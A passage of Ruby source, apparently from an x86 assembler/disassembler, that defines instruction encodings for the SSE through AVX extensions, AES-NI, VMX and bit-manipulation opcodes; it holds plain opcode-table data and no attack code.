'pshufw', [0x0F, 0x70], :mrmmmx, :u8 - - addop 'maskmovq',[0x0F, 0xF7], :mrmmmx, :modrmR - addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.args.reverse! } - addop('movntps', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! } - addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA - addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA - addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA - addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA - addop 'sfence', [0x0F, 0xAE, 0xF8] - - # the whole row of prefetch is actually nops - addop 'nop', [0x0F, 0x1C], :mrmw, :d => [1, 1] # incl. official version = 0f1f mrm - addop 'nop_8', [0x0F, 0x18], :mrmw, :d => [1, 1] - addop 'nop_d', [0x0F, 0x0D], :mrm - addop 'nop', [0x0F, 0x1C], 0 # official asm syntax is 'nop [eax]' - end - - def init_sse2_only - init_cpu_constants - - @opcode_list.each { |o| o.props[:xmmx] = true if o.fields[:regmmx] and o.name !~ /^(?:mov(?:nt)?q|pshufw|cvt.*)$/ } - - # mirror of the init_sse part - addop_macrosdpd 'addpd', [0x0F, 0x58], :mrmxmm - addop('andnpd', [0x0F, 0x55], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('andpd', [0x0F, 0x54], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop_macrosdpd 'cmppd', [0x0F, 0xC2], :mrmxmm, :u8 - addop('comisd', [0x0F, 0x2F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('cvtpi2pd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0x66 } - addop('cvtpd2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } - addop('cvtsi2sd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } - addop('cvtsd2si', [0x0F, 0x2D], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } - addop('cvttpd2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } - addop('cvttsd2si',[0x0F, 0x2C], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } - - addop('cvtpd2ps', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('cvtps2pd', [0x0F, 0x5A], :mrmxmm) - addop('cvtsd2ss', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('cvtss2sd', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - - addop('cvtpd2dq', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('cvttpd2dq',[0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('cvtdq2pd', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('cvtps2dq', [0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('cvttps2dq',[0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('cvtdq2ps', [0x0F, 0x5B], :mrmxmm) - - addop_macrosdpd 'divpd', [0x0F, 0x5E], :mrmxmm - addop_macrosdpd 'maxpd', [0x0F, 0x5F], :mrmxmm - addop_macrosdpd 'minpd', [0x0F, 0x5D], :mrmxmm - addop('movapd', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - - addop('movlpd', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - addop('movhpd', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - - addop('movmskpd',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg) { |o| o.props[:needpfx] = 0x66 } - addop('movsd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF2 } - addop('movupd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } - addop_macrosdpd 'mulpd', [0x0F, 0x59], :mrmxmm - addop('orpd', [0x0F, 0x56], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('shufpd', [0x0F, 0xC6], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop_macrosdpd 'sqrtpd', [0x0F, 0x51], :mrmxmm - addop_macrosdpd 'subpd', [0x0F, 0x5C], :mrmxmm - addop('ucomisd', [0x0F, 0x2E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('unpckhpd',[0x0F, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('unpcklpd',[0x0F, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('xorpd', [0x0F, 0x57], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0x66 } - addop('movdqu', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0xF3 } - addop('movq2dq', [0x0F, 0xD6], :mrmxmm, :modrmR) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0xF3 } - addop('movdq2q', [0x0F, 0xD6], :mrmmmx, :modrmR) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0xF2 } - addop('movq', [0x0F, 0x7E], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 ; o.props[:argsz] = 128 } - addop('movq', [0x0F, 0xD6], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 ; o.props[:argsz] = 128 } - - addop 'paddq', [0x0F, 0xD4], :mrmmmx, :xmmx - addop 'pmuludq', [0x0F, 0xF4], :mrmmmx, :xmmx - addop('pshuflw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF2 } - addop('pshufhw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF3 } - addop('pshufd', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('pslldq', [0x0F, 0x73, 0xF8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('psrldq', [0x0F, 0x73, 0xD8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop 'psubq', [0x0F, 0xFB], :mrmmmx, :xmmx - addop('punpckhqdq', [0x0F, 0x6D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('punpcklqdq', [0x0F, 0x6C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } - addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } - addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } - addop('movnti', [0x0F, 0xC3], :mrm) { |o| o.args.reverse! } - addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } - addop 'lfence', [0x0F, 0xAE, 0xE8] - addop 'mfence', [0x0F, 0xAE, 0xF0] - end - - def init_sse3_only - init_cpu_constants - - addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - - addop 'monitor', [0x0F, 0x01, 0xC8] - addop 'mwait', [0x0F, 0x01, 0xC9] - - addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } - addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('lddqu', [0x0F, 0xF0], :mrmxmm, :modrmA) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } - addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - def init_ssse3_only - init_cpu_constants - - addop_macrogg 0..2, 'pabs', [0x0F, 0x38, 0x1C], :mrmmmx, :xmmx - addop 'palignr', [0x0F, 0x3A, 0x0F], :mrmmmx, :u8, :xmmx - addop 'phaddd', [0x0F, 0x38, 0x02], :mrmmmx, :xmmx - addop 'phaddsw', [0x0F, 0x38, 0x03], :mrmmmx, :xmmx - addop 'phaddw', [0x0F, 0x38, 0x01], :mrmmmx, :xmmx - addop 'phsubd', [0x0F, 0x38, 0x06], :mrmmmx, :xmmx - addop 'phsubsw', [0x0F, 0x38, 0x07], :mrmmmx, :xmmx - addop 'phsubw', [0x0F, 0x38, 0x05], :mrmmmx, :xmmx - addop 'pmaddubsw',[0x0F, 0x38, 0x04], :mrmmmx, :xmmx - addop 'pmulhrsw', [0x0F, 0x38, 0x0B], :mrmmmx, :xmmx - addop 'pshufb', [0x0F, 0x38, 0x00], :mrmmmx, :xmmx - addop_macrogg 0..2, 'psignb', [0x0F, 0x38, 0x80], :mrmmmx, :xmmx - end - - def init_aesni_only - init_cpu_constants - - addop('aesdec', [0x0F, 0x38, 0xDE], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesdeclast',[0x0F, 0x38, 0xDF], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesenc', [0x0F, 0x38, 0xDC], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesenclast',[0x0F, 0x38, 0xDD], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesimc', [0x0F, 0x38, 0xDB], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aeskeygenassist', [0x0F, 0x3A, 0xDF], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - - addop('pclmulqdq', [0x0F, 0x3A, 0x44], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - end - - def init_vmx_only - init_cpu_constants - - addop 'vmcall', [0x0F, 0x01, 0xC1] - addop 'vmlaunch', [0x0F, 0x01, 0xC2] - addop 'vmresume', [0x0F, 0x01, 0xC3] - addop 'vmxoff', [0x0F, 0x01, 0xC4] - addop 'vmread', [0x0F, 0x78], :mrm - addop 'vmwrite', [0x0F, 0x79], :mrm - addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } - addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } - addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } - - addop 'getsec', [0x0F, 0x37] - - addop 'xgetbv', [0x0F, 0x01, 0xD0] - addop 'xsetbv', [0x0F, 0x01, 0xD1] - addop 'rdtscp', [0x0F, 0x01, 0xF9] - addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA - addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA - end - - def init_sse41_only - init_cpu_constants - - addop('blendpd', [0x0F, 0x3A, 0x0D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('blendps', [0x0F, 0x3A, 0x0C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('blendvpd', [0x0F, 0x38, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('blendvps', [0x0F, 0x38, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('dppd', [0x0F, 0x3A, 0x41], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('dpps', [0x0F, 0x3A, 0x40], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('extractps',[0x0F, 0x3A, 0x17], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('insertps', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('movntdqa', [0x0F, 0x38, 0x2A], :mrmxmm, :modrmA) { |o| o.props[:needpfx] = 0x66 } - addop('mpsadbw', [0x0F, 0x3A, 0x42], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('packusdw', [0x0F, 0x38, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pblendvb', [0x0F, 0x38, 0x10], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pblendw', [0x0F, 0x3A, 0x1E], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpeqq', [0x0F, 0x38, 0x29], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pextrb', [0x0F, 0x3A, 0x14], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } - addop('pextrw', [0x0F, 0x3A, 0x15], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } - addop('pextrd', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } - addop('pinsrb', [0x0F, 0x3A, 0x20], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } - addop('pinsrw', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } - addop('pinsrd', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } - addop('phminposuw', [0x0F, 0x38, 0x41], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminsb', [0x0F, 0x38, 0x38], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminsd', [0x0F, 0x38, 0x39], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminuw', [0x0F, 0x38, 0x3A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminud', [0x0F, 0x38, 0x3B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxsb', [0x0F, 0x38, 0x3C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxsd', [0x0F, 0x38, 0x3D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxuw', [0x0F, 0x38, 0x3E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxud', [0x0F, 0x38, 0x3F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('pmovsxbw', [0x0F, 0x38, 0x20], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxbd', [0x0F, 0x38, 0x21], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxbq', [0x0F, 0x38, 0x22], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxwd', [0x0F, 0x38, 0x23], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxwq', [0x0F, 0x38, 0x24], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxdq', [0x0F, 0x38, 0x25], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxbw', [0x0F, 0x38, 0x30], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxbd', [0x0F, 0x38, 0x31], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxbq', [0x0F, 0x38, 0x32], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxwd', [0x0F, 0x38, 0x33], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxwq', [0x0F, 0x38, 0x34], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxdq', [0x0F, 0x38, 0x35], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('pmuldq', [0x0F, 0x38, 0x28], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmulld', [0x0F, 0x38, 0x40], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('ptest', [0x0F, 0x38, 0x17], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('roundps', [0x0F, 0x3A, 0x08], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('roundpd', [0x0F, 0x3A, 0x09], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('roundss', [0x0F, 0x3A, 0x0A], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('roundsd', [0x0F, 0x3A, 0x0B], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - end - - def init_sse42_only - init_cpu_constants - - addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } - addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('popcnt', [0x0F, 0xB8], :mrm) { |o| o.props[:needpfx] = 0xF3 } - end - - def init_avx_only - init_cpu_constants - - add128 = {} - add256 = {} - %w[movss movsd movlhps movhpd movhlps - cvtsi2ss cvtsi2sd sqrtss sqrtsd rsqrtss rcpss - addss addsd mulss mulsd cvtss2sd cvtsd2ss subss subsd - minss minsd divss divsd maxss maxsd - punpcklb punpcklw punpckld packsswb pcmpgtb pcmpgtw pcmpgtd packuswb - punpckhb punpckhw punpckhd packssdw punpcklq punpckhq - pcmpeqb pcmpeqw pcmpeqd ldmxcsr stmxcsr - cmpss cmpsd paddq pmullw psubusb psubusw pminub - pand paddusb paddusw pmaxub pandn pavgb pavgw - pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw pmaxsw pxor - pmuludq pmaddwd psadbw - psubb psubw psubd psubq paddb paddw paddd - phaddw phaddsw phaddd phsubw phsubsw phsubd - pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd - dppd insertps mpsadbw packusdw pblendw pcmpeqq - pinsrb pinsrw pinsrd pinsrq - pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw - pmuldq pmulld roundsd roundss pcmpgtq - aesdec aesdeclast aesenc aesenclast - pclmulqdq punpcklbw punpcklwd punpckldq punpckhbw punpckhwd - punpckhdq punpcklqdq punpckhqdq].each { |n| add128[n] = true } - - %w[movups movupd movddup movsldup - unpcklps unpcklpd unpckhps unpckhpd - movaps movshdup movapd movntps movntpd movmskps movmskpd - sqrtps sqrtpd rsqrtps rcpps andps andpd andnps andnpd - orps orpd xorps xorpd addps addpd mulps mulpd - cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq cvttps2dq - subps subpd minps minpd divps divpd maxps maxpd - movdqa movdqu haddpd haddps hsubpd hsubps - cmpps cmppd shufps shufpd addsubpd addsubps - cvtpd2dq cvttpd2dq cvtdq2pd movntdq lddqu - blendps blendpd blendvps blendvpd dpps ptest - roundpd roundps].each { |n| add128[n] = add256[n] = true } - - varg = Hash.new(1) - %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa - pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq - pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq - aesimc aeskeygenassist lddqu maskmovdqu movapd movaps - pcmpestri pcmpestrm pcmpistri pcmpistrm phminposuw - cvtpd2dq cvttpd2dq cvtdq2pd cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq - cvttps2dq movd movq movddup movdqa movdqu movmskps movmskpd - movntdq movntps movntpd movshdup movsldup movups movupd - pextrb pextrw pextrd pextrq ptest rcpps roundps roundpd - extractps sqrtps sqrtpd comiss comisd ucomiss ucomisd - cvttss2si cvttsd2si cvtss2si cvtsd2si - ].each { |n| add128[n] = true ; varg[n] = nil } - - cvtarg128 = { :regmmx => :regxmm, :modrmmmx => :modrmxmm } - cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, - :regxmm => :regymm, :modrmxmm => :modrmymm } - - # autopromote old sseX opcodes - @opcode_list.each { |o| - next if o.bin[0] != 0x0F or not add128[o.name] # rep cmpsd / movsd - - mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) - pp = o.props[:needpfx] - pp = 0x66 if o.props[:xmmx] - fpxlen = (mm == 0x0F ? 1 : 2) - - addop_vex('v' + o.name, [varg[o.name], 128, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg128[oa] || oa }) { |oo| - oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] - dbinlen = o.bin.length - oo.bin.length - o.fields.each { |k, v| oo.fields[cvtarg128[k] || k] = [v[0]-dbinlen, v[1]] } - o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } - } - - next if not add256[o.name] - addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| - oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] - dbinlen = o.bin.length - oo.bin.length - o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } - o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } - } - } - - # sse promotion, special cases - addop_vex 'vpblendvb', [1, 128, 0x66, 0x0F3A, 0], 0x4C, :mrmxmm, :i4xmm - addop_vex 'vpsllw', [1, 128, 0x66, 0x0F], 0xF1, :mrmxmm - addop_vex('vpsllw', [0, 128, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpslld', [1, 128, 0x66, 0x0F], 0xF2, :mrmxmm - addop_vex('vpslld', [0, 128, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsllq', [1, 128, 0x66, 0x0F], 0xF3, :mrmxmm - addop_vex('vpsllq', [0, 128, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex('vpslldq',[0, 128, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsraw', [1, 128, 0x66, 0x0F], 0xE1, :mrmxmm - addop_vex('vpsraw', [0, 128, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrad', [1, 128, 0x66, 0x0F], 0xE2, :mrmxmm - addop_vex('vpsrad', [0, 128, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrlw', [1, 128, 0x66, 0x0F], 0xD1, :mrmxmm - addop_vex('vpsrlw', [0, 128, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrld', [1, 128, 0x66, 0x0F], 0xD2, :mrmxmm - addop_vex('vpsrld', [0, 128, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrlq', [1, 128, 0x66, 0x0F], 0xD3, :mrmxmm - addop_vex('vpsrlq', [0, 128, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex('vpsrldq',[0, 128, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - - # dst==mem => no vreg - addop_vex 'vmovhps', [1, 128, nil, 0x0F], 0x16, :mrmxmm, :modrmA - addop_vex('vmovhps', [nil, 128, nil, 0x0F], 0x17, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex 'vmovlpd', [1, 128, 0x66, 0x0F], 0x12, :mrmxmm, :modrmA - addop_vex('vmovlpd', [nil, 128, 0x66, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex 'vmovlps', [1, 128, nil, 0x0F], 0x12, :mrmxmm, :modrmA - addop_vex('vmovlps', [nil, 128, nil, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } - - addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmA - addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmA - addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmA - addop_vex 'vbroadcastf128', [nil, 256, 0x66, 0x0F38, 0], 0x1A, :mrmymm, :modrmA - - # general-purpose register operations - addop_vex 'andn', [1, :vexvreg, 128, nil, 0x0F38], 0xF2, :mrm - addop_vex 'bextr', [2, :vexvreg, 128, nil, 0x0F38], 0xF7, :mrm - addop_vex 'blsi', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 3 - addop_vex 'blsmsk', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 2 - addop_vex 'blsr', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 1 - addop_vex 'bzhi', [2, :vexvreg, 128, nil, 0x0F38], 0xF5, :mrm - addop('lzcnt', [0x0F, 0xBD], :mrm) { |o| o.props[:needpfx] = 0xF3 } - addop_vex 'mulx', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF6, :mrm - addop_vex 'pdep', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF5, :mrm - addop_vex 'pext', [1, :vexvreg, 128, 0xF3, 0x0F38], 0xF5, :mrm - addop_vex 'rorx', [nil, 128, 0xF2, 0x0F3A], 0xF0, :mrm, :u8 - addop_vex 'sarx', [2, :vexvreg, 128, 0xF3, 0x0F38], 0xF7, :mrm - addop_vex 'shrx', [2, :vexvreg, 128, 0xF2, 0x0F38], 0xF7, :mrm - addop_vex 'shlx', [2, :vexvreg, 128, 0x66, 0x0F38], 0xF7, :mrm - addop('tzcnt', [0x0F, 0xBC], :mrm) { |o| o.props[:needpfx] = 0xF3 } - addop('invpcid', [0x0F, 0x38, 0x82], :mrm) { |o| o.props[:needpfx] = 0x66 } - addop 'rdrand', [0x0F, 0xC7], 6, :modrmR - addop 'rdseed', [0x0F, 0xC7], 7, :modrmR - addop('adcx', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0x66 } - addop('adox', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0xF3 } - - # fp16 - addop_vex 'vcvtph2ps', [nil, 128, 0x66, 0x0F38, 0], 0x13, :mrmxmm - addop_vex 'vcvtph2ps', [nil, 256, 0x66, 0x0F38, 0], 0x13, :mrmymm - addop_vex('vcvtps2ph', [nil, 128, 0x66, 0x0F3A, 0], 0x1D, :mrmxmm, :u8) { |o| o.args.reverse! } - addop_vex('vcvtps2ph', [nil, 256, 0x66, 0x0F3A, 0], 0x1D, :mrmymm, :u8) { |o| o.args.reverse! } - - # TSE - addop 'xabort', [0xC6, 0xF8], nil, :i8 # may :stopexec - addop 'xbegin', [0xC7, 0xF8], nil, :i # may :setip: xabortreturns to 